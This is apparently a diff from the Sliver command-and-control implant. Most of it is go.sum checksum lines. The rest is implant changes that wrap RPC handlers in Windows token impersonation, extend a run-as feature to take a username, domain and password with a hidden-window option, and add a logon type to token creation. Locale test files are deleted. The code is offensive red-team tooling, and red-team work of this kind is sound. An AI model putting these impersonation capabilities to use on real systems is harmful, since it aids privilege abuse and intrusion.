||||
modernc.org/ccgo/v3 v3.11.3/go.mod h1:0oHunRBMBiXOKdaglfMlRPBALQqsfrCKXgw9okQ3GEw=
|
||||
modernc.org/ccgo/v3 v3.12.4/go.mod h1:Bk+m6m2tsooJchP/Yk5ji56cClmN6R1cqc9o/YtbgBQ=
|
||||
modernc.org/ccgo/v3 v3.12.6/go.mod h1:0Ji3ruvpFPpz+yu+1m0wk68pdr/LENABhTrDkMDWH6c=
|
||||
modernc.org/ccgo/v3 v3.12.8/go.mod h1:Hq9keM4ZfjCDuDXxaHptpv9N24JhgBZmUG5q60iLgUo=
|
||||
modernc.org/ccgo/v3 v3.12.11/go.mod h1:0jVcmyDwDKDGWbcrzQ+xwJjbhZruHtouiBEvDfoIsdg=
|
||||
modernc.org/ccgo/v3 v3.12.14/go.mod h1:GhTu1k0YCpJSuWwtRAEHAol5W7g1/RRfS4/9hc9vF5I=
|
||||
modernc.org/ccgo/v3 v3.12.18/go.mod h1:jvg/xVdWWmZACSgOiAhpWpwHWylbJaSzayCqNOJKIhs=
|
||||
modernc.org/ccgo/v3 v3.12.20/go.mod h1:aKEdssiu7gVgSy/jjMastnv/q6wWGRbszbheXgWRHc8=
|
||||
modernc.org/ccgo/v3 v3.12.21/go.mod h1:ydgg2tEprnyMn159ZO/N4pLBqpL7NOkJ88GT5zNU2dE=
|
||||
modernc.org/ccgo/v3 v3.12.22/go.mod h1:nyDVFMmMWhMsgQw+5JH6B6o4MnZ+UQNw1pp52XYFPRk=
|
||||
modernc.org/ccgo/v3 v3.12.25/go.mod h1:UaLyWI26TwyIT4+ZFNjkyTbsPsY3plAEB6E7L/vZV3w=
|
||||
modernc.org/ccgo/v3 v3.12.29/go.mod h1:FXVjG7YLf9FetsS2OOYcwNhcdOLGt8S9bQ48+OP75cE=
|
||||
modernc.org/ccgo/v3 v3.12.36/go.mod h1:uP3/Fiezp/Ga8onfvMLpREq+KUjUmYMxXPO8tETHtA8=
|
||||
modernc.org/ccgo/v3 v3.12.38/go.mod h1:93O0G7baRST1vNj4wnZ49b1kLxt0xCW5Hsa2qRaZPqc=
|
||||
modernc.org/ccgo/v3 v3.12.43/go.mod h1:k+DqGXd3o7W+inNujK15S5ZYuPoWYLpF5PYougCmthU=
|
||||
modernc.org/ccgo/v3 v3.12.46/go.mod h1:UZe6EvMSqOxaJ4sznY7b23/k13R8XNlyWsO5bAmSgOE=
|
||||
modernc.org/ccgo/v3 v3.12.47/go.mod h1:m8d6p0zNps187fhBwzY/ii6gxfjob1VxWb919Nk1HUk=
|
||||
modernc.org/ccgo/v3 v3.12.50/go.mod h1:bu9YIwtg+HXQxBhsRDE+cJjQRuINuT9PUK4orOco/JI=
|
||||
modernc.org/ccgo/v3 v3.12.51/go.mod h1:gaIIlx4YpmGO2bLye04/yeblmvWEmE4BBBls4aJXFiE=
|
||||
modernc.org/ccgo/v3 v3.12.53/go.mod h1:8xWGGTFkdFEWBEsUmi+DBjwu/WLy3SSOrqEmKUjMeEg=
|
||||
modernc.org/ccgo/v3 v3.12.54/go.mod h1:yANKFTm9llTFVX1FqNKHE0aMcQb1fuPJx6p8AcUx+74=
|
||||
modernc.org/ccgo/v3 v3.12.55/go.mod h1:rsXiIyJi9psOwiBkplOaHye5L4MOOaCjHg1Fxkj7IeU=
|
||||
modernc.org/ccgo/v3 v3.12.56/go.mod h1:ljeFks3faDseCkr60JMpeDb2GSO3TKAmrzm7q9YOcMU=
|
||||
modernc.org/ccgo/v3 v3.12.57/go.mod h1:hNSF4DNVgBl8wYHpMvPqQWDQx8luqxDnNGCMM4NFNMc=
|
||||
modernc.org/ccgo/v3 v3.12.60/go.mod h1:k/Nn0zdO1xHVWjPYVshDeWKqbRWIfif5dtsIOCUVMqM=
|
||||
modernc.org/ccgo/v3 v3.12.66/go.mod h1:jUuxlCFZTUZLMV08s7B1ekHX5+LIAurKTTaugUr/EhQ=
|
||||
modernc.org/ccgo/v3 v3.12.67/go.mod h1:Bll3KwKvGROizP2Xj17GEGOTrlvB1XcVaBrC90ORO84=
|
||||
modernc.org/ccgo/v3 v3.12.73/go.mod h1:hngkB+nUUqzOf3iqsM48Gf1FZhY599qzVg1iX+BT3cQ=
|
||||
modernc.org/ccgo/v3 v3.12.81/go.mod h1:p2A1duHoBBg1mFtYvnhAnQyI6vL0uw5PGYLSIgF6rYY=
|
||||
modernc.org/ccgo/v3 v3.12.84/go.mod h1:ApbflUfa5BKadjHynCficldU1ghjen84tuM5jRynB7w=
|
||||
modernc.org/ccgo/v3 v3.12.86/go.mod h1:dN7S26DLTgVSni1PVA3KxxHTcykyDurf3OgUzNqTSrU=
|
||||
modernc.org/ccgo/v3 v3.12.90/go.mod h1:obhSc3CdivCRpYZmrvO88TXlW0NvoSVvdh/ccRjJYko=
|
||||
modernc.org/ccgo/v3 v3.12.92/go.mod h1:5yDdN7ti9KWPi5bRVWPl8UNhpEAtCjuEE7ayQnzzqHA=
|
||||
modernc.org/ccgo/v3 v3.13.1/go.mod h1:aBYVOUfIlcSnrsRVU8VRS35y2DIfpgkmVkYZ0tpIXi4=
|
||||
modernc.org/ccgo/v3 v3.15.9/go.mod h1:md59wBwDT2LznX/OTCPoVS6KIsdRgY8xqQwBV+hkTH0=
|
||||
modernc.org/ccgo/v3 v3.15.10/go.mod h1:wQKxoFn0ynxMuCLfFD09c8XPUCc8obfchoVR9Cn0fI8=
|
||||
modernc.org/ccgo/v3 v3.15.12/go.mod h1:VFePOWoCd8uDGRJpq/zfJ29D0EVzMSyID8LCMWYbX6I=
|
||||
modernc.org/ccgo/v3 v3.15.14/go.mod h1:144Sz2iBCKogb9OKwsu7hQEub3EVgOlyI8wMUPGKUXQ=
|
||||
modernc.org/ccgo/v3 v3.15.15/go.mod h1:z5qltXjU4PJl0pE5nhYQCvA9DhPHiWsl5GWl89+NSYE=
|
||||
modernc.org/ccgo/v3 v3.15.16/go.mod h1:XbKRMeMWMdq712Tr5ECgATYMrzJ+g9zAZEj2ktzBe24=
|
||||
modernc.org/ccgo/v3 v3.15.17/go.mod h1:bofnFkpRFf5gLY+mBZIyTW6FEcp26xi2lgOFk2Rlvs0=
|
||||
modernc.org/ccgo/v3 v3.15.18 h1:X5ym656Ye7/ubL+wox0SeF9aRX5od1UDFn1tAbQR+90=
|
||||
modernc.org/ccgo/v3 v3.15.18/go.mod h1:/2lv3WjHyanEr2sAPdGKRC38n6f0werut9BRXUjjX+A=
|
||||
modernc.org/ccorpus v1.11.1/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
|
||||
lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
|
||||
lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
|
||||
modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
|
||||
modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8 h1:0+dsXf0zeLx9ixj4nilg6jKe5Bg1ilzBwSFq4kJmIUc=
|
||||
modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g=
|
||||
modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
|
||||
modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
|
||||
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
|
||||
modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
|
||||
modernc.org/libc v1.9.8/go.mod h1:U1eq8YWr/Kc1RWCMFUWEdkTg8OTcfLw2kY8EDwl039w=
|
||||
modernc.org/libc v1.9.11/go.mod h1:NyF3tsA5ArIjJ83XB0JlqhjTabTCHm9aX4XMPHyQn0Q=
|
||||
modernc.org/libc v1.11.0/go.mod h1:2lOfPmj7cz+g1MrPNmX65QCzVxgNq2C5o0jdLY2gAYg=
|
||||
modernc.org/libc v1.11.2/go.mod h1:ioIyrl3ETkugDO3SGZ+6EOKvlP3zSOycUETe4XM4n8M=
|
||||
modernc.org/libc v1.11.5/go.mod h1:k3HDCP95A6U111Q5TmG3nAyUcp3kR5YFZTeDS9v8vSU=
|
||||
modernc.org/libc v1.11.6/go.mod h1:ddqmzR6p5i4jIGK1d/EiSw97LBcE3dK24QEwCFvgNgE=
|
||||
modernc.org/libc v1.11.11/go.mod h1:lXEp9QOOk4qAYOtL3BmMve99S5Owz7Qyowzvg6LiZso=
|
||||
modernc.org/libc v1.11.13/go.mod h1:ZYawJWlXIzXy2Pzghaf7YfM8OKacP3eZQI81PDLFdY8=
|
||||
modernc.org/libc v1.11.16/go.mod h1:+DJquzYi+DMRUtWI1YNxrlQO6TcA5+dRRiq8HWBWRC8=
|
||||
modernc.org/libc v1.11.19/go.mod h1:e0dgEame6mkydy19KKaVPBeEnyJB4LGNb0bBH1EtQ3I=
|
||||
modernc.org/libc v1.11.24/go.mod h1:FOSzE0UwookyT1TtCJrRkvsOrX2k38HoInhw+cSCUGk=
|
||||
modernc.org/libc v1.11.26/go.mod h1:SFjnYi9OSd2W7f4ct622o/PAYqk7KHv6GS8NZULIjKY=
|
||||
modernc.org/libc v1.11.27/go.mod h1:zmWm6kcFXt/jpzeCgfvUNswM0qke8qVwxqZrnddlDiE=
|
||||
modernc.org/libc v1.11.28/go.mod h1:Ii4V0fTFcbq3qrv3CNn+OGHAvzqMBvC7dBNyC4vHZlg=
|
||||
modernc.org/libc v1.11.31/go.mod h1:FpBncUkEAtopRNJj8aRo29qUiyx5AvAlAxzlx9GNaVM=
|
||||
modernc.org/libc v1.11.34/go.mod h1:+Tzc4hnb1iaX/SKAutJmfzES6awxfU1BPvrrJO0pYLg=
|
||||
modernc.org/libc v1.11.37/go.mod h1:dCQebOwoO1046yTrfUE5nX1f3YpGZQKNcITUYWlrAWo=
|
||||
modernc.org/libc v1.11.39/go.mod h1:mV8lJMo2S5A31uD0k1cMu7vrJbSA3J3waQJxpV4iqx8=
|
||||
modernc.org/libc v1.11.42/go.mod h1:yzrLDU+sSjLE+D4bIhS7q1L5UwXDOw99PLSX0BlZvSQ=
|
||||
modernc.org/libc v1.11.44/go.mod h1:KFq33jsma7F5WXiYelU8quMJasCCTnHK0mkri4yPHgA=
|
||||
modernc.org/libc v1.11.45/go.mod h1:Y192orvfVQQYFzCNsn+Xt0Hxt4DiO4USpLNXBlXg/tM=
|
||||
modernc.org/libc v1.11.47/go.mod h1:tPkE4PzCTW27E6AIKIR5IwHAQKCAtudEIeAV1/SiyBg=
|
||||
modernc.org/libc v1.11.49/go.mod h1:9JrJuK5WTtoTWIFQ7QjX2Mb/bagYdZdscI3xrvHbXjE=
|
||||
modernc.org/libc v1.11.51/go.mod h1:R9I8u9TS+meaWLdbfQhq2kFknTW0O3aw3kEMqDDxMaM=
|
||||
modernc.org/libc v1.11.53/go.mod h1:5ip5vWYPAoMulkQ5XlSJTy12Sz5U6blOQiYasilVPsU=
|
||||
modernc.org/libc v1.11.54/go.mod h1:S/FVnskbzVUrjfBqlGFIPA5m7UwB3n9fojHhCNfSsnw=
|
||||
modernc.org/libc v1.11.55/go.mod h1:j2A5YBRm6HjNkoSs/fzZrSxCuwWqcMYTDPLNx0URn3M=
|
||||
modernc.org/libc v1.11.56/go.mod h1:pakHkg5JdMLt2OgRadpPOTnyRXm/uzu+Yyg/LSLdi18=
|
||||
modernc.org/libc v1.11.58/go.mod h1:ns94Rxv0OWyoQrDqMFfWwka2BcaF6/61CqJRK9LP7S8=
|
||||
modernc.org/libc v1.11.71/go.mod h1:DUOmMYe+IvKi9n6Mycyx3DbjfzSKrdr/0Vgt3j7P5gw=
|
||||
modernc.org/libc v1.11.75/go.mod h1:dGRVugT6edz361wmD9gk6ax1AbDSe0x5vji0dGJiPT0=
|
||||
modernc.org/libc v1.11.82/go.mod h1:NF+Ek1BOl2jeC7lw3a7Jj5PWyHPwWD4aq3wVKxqV1fI=
|
||||
modernc.org/libc v1.11.86/go.mod h1:ePuYgoQLmvxdNT06RpGnaDKJmDNEkV7ZPKI2jnsvZoE=
|
||||
modernc.org/libc v1.11.87/go.mod h1:Qvd5iXTeLhI5PS0XSyqMY99282y+3euapQFxM7jYnpY=
|
||||
modernc.org/libc v1.11.88/go.mod h1:h3oIVe8dxmTcchcFuCcJ4nAWaoiwzKCdv82MM0oiIdQ=
|
||||
modernc.org/libc v1.11.98/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
|
||||
modernc.org/libc v1.11.101/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
|
||||
modernc.org/libc v1.12.0/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
|
||||
modernc.org/libc v1.14.1/go.mod h1:npFeGWjmZTjFeWALQLrvklVmAxv4m80jnG3+xI8FdJk=
|
||||
modernc.org/libc v1.14.2/go.mod h1:MX1GBLnRLNdvmK9azU9LCxZ5lMyhrbEMK8rG3X/Fe34=
|
||||
modernc.org/libc v1.14.3/go.mod h1:GPIvQVOVPizzlqyRX3l756/3ppsAgg1QgPxjr5Q4agQ=
|
||||
modernc.org/libc v1.14.6/go.mod h1:2PJHINagVxO4QW/5OQdRrvMYo+bm5ClpUFfyXCYl9ak=
|
||||
modernc.org/libc v1.14.7/go.mod h1:f8xfWXW8LW41qb4X5+huVQo5dcfPlq7Cbny2TDheMv0=
|
||||
modernc.org/libc v1.14.8/go.mod h1:9+JCLb1MWSY23smyOpIPbd5ED+rSS/ieiDWUpdyO3mo=
|
||||
modernc.org/libc v1.14.10/go.mod h1:y1MtIWhwpJFpLYm6grAThtuXJKEsY6xkdZmXbRngIdo=
|
||||
modernc.org/libc v1.14.11/go.mod h1:l5/Mz/GrZwOqzwRHA3abgSCnSeJzzTl+Ify0bAwKbAw=
|
||||
modernc.org/libc v1.14.12 h1:pUBZTYoISfbb4pCf4PECENpbvwDBxeKc+/dS9LyOWFM=
|
||||
modernc.org/libc v1.14.12/go.mod h1:fJdoe23MHu2ruPQkFPPqCpToDi5cckzsbmkI6Ez0LqQ=
|
||||
modernc.org/mathutil v1.1.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/mathutil v1.4.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
|
||||
modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/memory v1.0.4/go.mod h1:nV2OApxradM3/OVbs2/0OsP6nPfakXpi50C7dcoHXlc=
|
||||
modernc.org/memory v1.0.5/go.mod h1:B7OYswTRnfGg+4tDH1t1OeUNnsy2viGTdME4tzd+IjM=
|
||||
modernc.org/memory v1.0.6/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
|
||||
modernc.org/memory v1.0.7 h1:UE3cxTRFa5tfUibAV7Jqq8P7zRY0OlJg+yWVIIaluEE=
|
||||
modernc.org/memory v1.0.7/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw=
|
||||
modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
|
||||
modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.16.0 h1:DdvOGaWN0y+X7t2L7RUD63gcwbVjYZjcBZnA68g44EI=
|
||||
modernc.org/sqlite v1.16.0/go.mod h1:Jwe13ItpESZ+78K5WS6+AjXsUg+JvirsjN3iIDO4C8k=
|
||||
modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
|
||||
modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
|
||||
modernc.org/tcl v1.11.2 h1:mXpsx3AZqJt83uDiFu9UYQVBjNjaWKGCF1YDSlpCL6Y=
|
||||
modernc.org/tcl v1.11.2/go.mod h1:BRzgpajcGdS2qTxniOx9c/dcxjlbA7p12eJNmiriQYo=
|
||||
modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
|
||||
modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.3.2 h1:4GWBVMa48UDC7KQ9tnaggN/yTlXg+CdCX9bhgHPQ9AM=
|
||||
modernc.org/z v1.3.2/go.mod h1:PEU2oK2OEA1CfzDTd+8E908qEXhC9s0MfyKp5LZsd+k=
|
||||
modernc.org/libc v1.21.2 h1:V053DgNSpAY+IPrO3XlWqrFKUiQqHyPqG4dsx42Ulck=
|
||||
modernc.org/libc v1.21.2/go.mod h1:przBsL5RDOZajTVslkugzLBj1evTue36jEomFQOoYuI=
|
||||
modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ=
|
||||
modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
|
||||
modernc.org/memory v1.4.0 h1:crykUfNSnMAXaOJnnxcSzbUGMqkLWjklJKkBK2nwZwk=
|
||||
modernc.org/memory v1.4.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
|
||||
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
|
||||
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.19.3 h1:dIoagx6yIQT3V/zOSeAyZ8OqQyEr17YTgETOXTZNJMA=
|
||||
modernc.org/sqlite v1.19.3/go.mod h1:xiyJD7FY8mTZXnQwE/gEL1STtFrrnDx03V8KhVQmcr8=
|
||||
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
|
||||
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
|
||||
modernc.org/tcl v1.15.0 h1:oY+JeD11qVVSgVvodMJsu7Edf8tr5E/7tuhF5cNYz34=
|
||||
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
|
||||
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.7.0 h1:xkDw/KepgEjeizO2sNco+hqYkU12taxQFqPEmgm1GWE=
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"runtime"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
@@ -37,6 +38,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/registry"
|
||||
"github.com/bishopfox/sliver/implant/sliver/service"
|
||||
"github.com/bishopfox/sliver/implant/sliver/spoof"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"github.com/bishopfox/sliver/implant/sliver/taskrunner"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -120,6 +122,28 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return windowsHandlers
|
||||
}
|
||||
|
||||
func WrapperHandler(handler RPCHandler, data []byte, resp RPCResponse) {
|
||||
if priv.CurrentToken != 0 {
|
||||
err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
}
|
||||
handler(data, resp)
|
||||
if priv.CurrentToken != 0 {
|
||||
err := priv.TRevertToSelf()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------- Windows Handlers ----------------
|
||||
|
||||
func impersonateHandler(data []byte, resp RPCResponse) {
|
||||
@@ -152,10 +176,12 @@ func runAsHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
out, err := priv.RunProcessAsUser(runAsReq.Username, runAsReq.ProcessName, runAsReq.Args)
|
||||
runAs := &sliverpb.RunAs{
|
||||
Output: out,
|
||||
show := 10
|
||||
if runAsReq.HideWindow {
|
||||
show = 0
|
||||
}
|
||||
err = priv.RunAs(runAsReq.Username, runAsReq.Domain, runAsReq.Password, runAsReq.ProcessName, runAsReq.Args, show, runAsReq.NetOnly)
|
||||
runAs := &sliverpb.RunAs{}
|
||||
if err != nil {
|
||||
runAs.Response = &commonpb.Response{Err: err.Error()}
|
||||
}
|
||||
@@ -424,7 +450,7 @@ func makeTokenHandler(data []byte, resp RPCResponse) {
|
||||
return
|
||||
}
|
||||
makeTokenResp := &sliverpb.MakeToken{}
|
||||
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password)
|
||||
err = priv.MakeToken(makeTokenReq.Domain, makeTokenReq.Username, makeTokenReq.Password, makeTokenReq.LogonType)
|
||||
if err != nil {
|
||||
makeTokenResp.Response = &commonpb.Response{
|
||||
Err: err.Error(),
|
||||
|
||||
@@ -281,11 +281,11 @@ func buildEntries(proto string, s []netstat.SockTabEntry) []*sliverpb.SockTabEnt
|
||||
}
|
||||
entries = append(entries, &sliverpb.SockTabEntry{
|
||||
LocalAddr: &sliverpb.SockTabEntry_SockAddr{
|
||||
Ip: e.LocalAddr.String(),
|
||||
Ip: e.LocalAddr.IP.String(),
|
||||
Port: uint32(e.LocalAddr.Port),
|
||||
},
|
||||
RemoteAddr: &sliverpb.SockTabEntry_SockAddr{
|
||||
Ip: e.RemoteAddr.String(),
|
||||
Ip: e.RemoteAddr.IP.String(),
|
||||
Port: uint32(e.RemoteAddr.Port),
|
||||
},
|
||||
SkState: e.State.String(),
|
||||
|
||||
@@ -1,13 +0,0 @@
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestJibberJabber(t *testing.T) {
|
||||
RegisterFailHandler(Fail)
|
||||
RunSpecs(t, "Jibber Jabber Suite")
|
||||
}
|
||||
@@ -1,155 +0,0 @@
|
||||
// +build darwin freebsd linux netbsd openbsd
|
||||
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os"
|
||||
|
||||
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
)
|
||||
|
||||
var _ = Describe("Unix", func() {
|
||||
AfterEach(func() {
|
||||
os.Setenv("LC_MESSAGES", "")
|
||||
os.Setenv("LC_ALL", "")
|
||||
os.Setenv("LANG", "en_US.UTF-8")
|
||||
})
|
||||
|
||||
Describe("#DetectIETF", func() {
|
||||
Context("Returns IETF encoded locale", func() {
|
||||
It("should return the locale set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return the locale set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a locale", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectIETF()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Context("when the locale is simply 'fr'", func() {
|
||||
BeforeEach(func() {
|
||||
os.Setenv("LANG", "fr")
|
||||
})
|
||||
|
||||
It("should return the locale without a territory", func() {
|
||||
language, err := DetectIETF()
|
||||
Ω(err).ShouldNot(HaveOccurred())
|
||||
Ω(language).Should(Equal("fr"))
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguage", func() {
|
||||
Context("Returns encoded language", func() {
|
||||
It("should return the language set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return the language set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a language", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectLanguage()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguageTag", func() {
|
||||
Context("Returns encoded language tag", func() {
|
||||
It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect and parse a language tag", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectLanguageTag()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectTerritory", func() {
|
||||
Context("Returns encoded territory", func() {
|
||||
It("should return the territory set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return the territory set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a territory", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectTerritory()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
})
|
||||
@@ -1,63 +0,0 @@
|
||||
// +build windows
|
||||
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
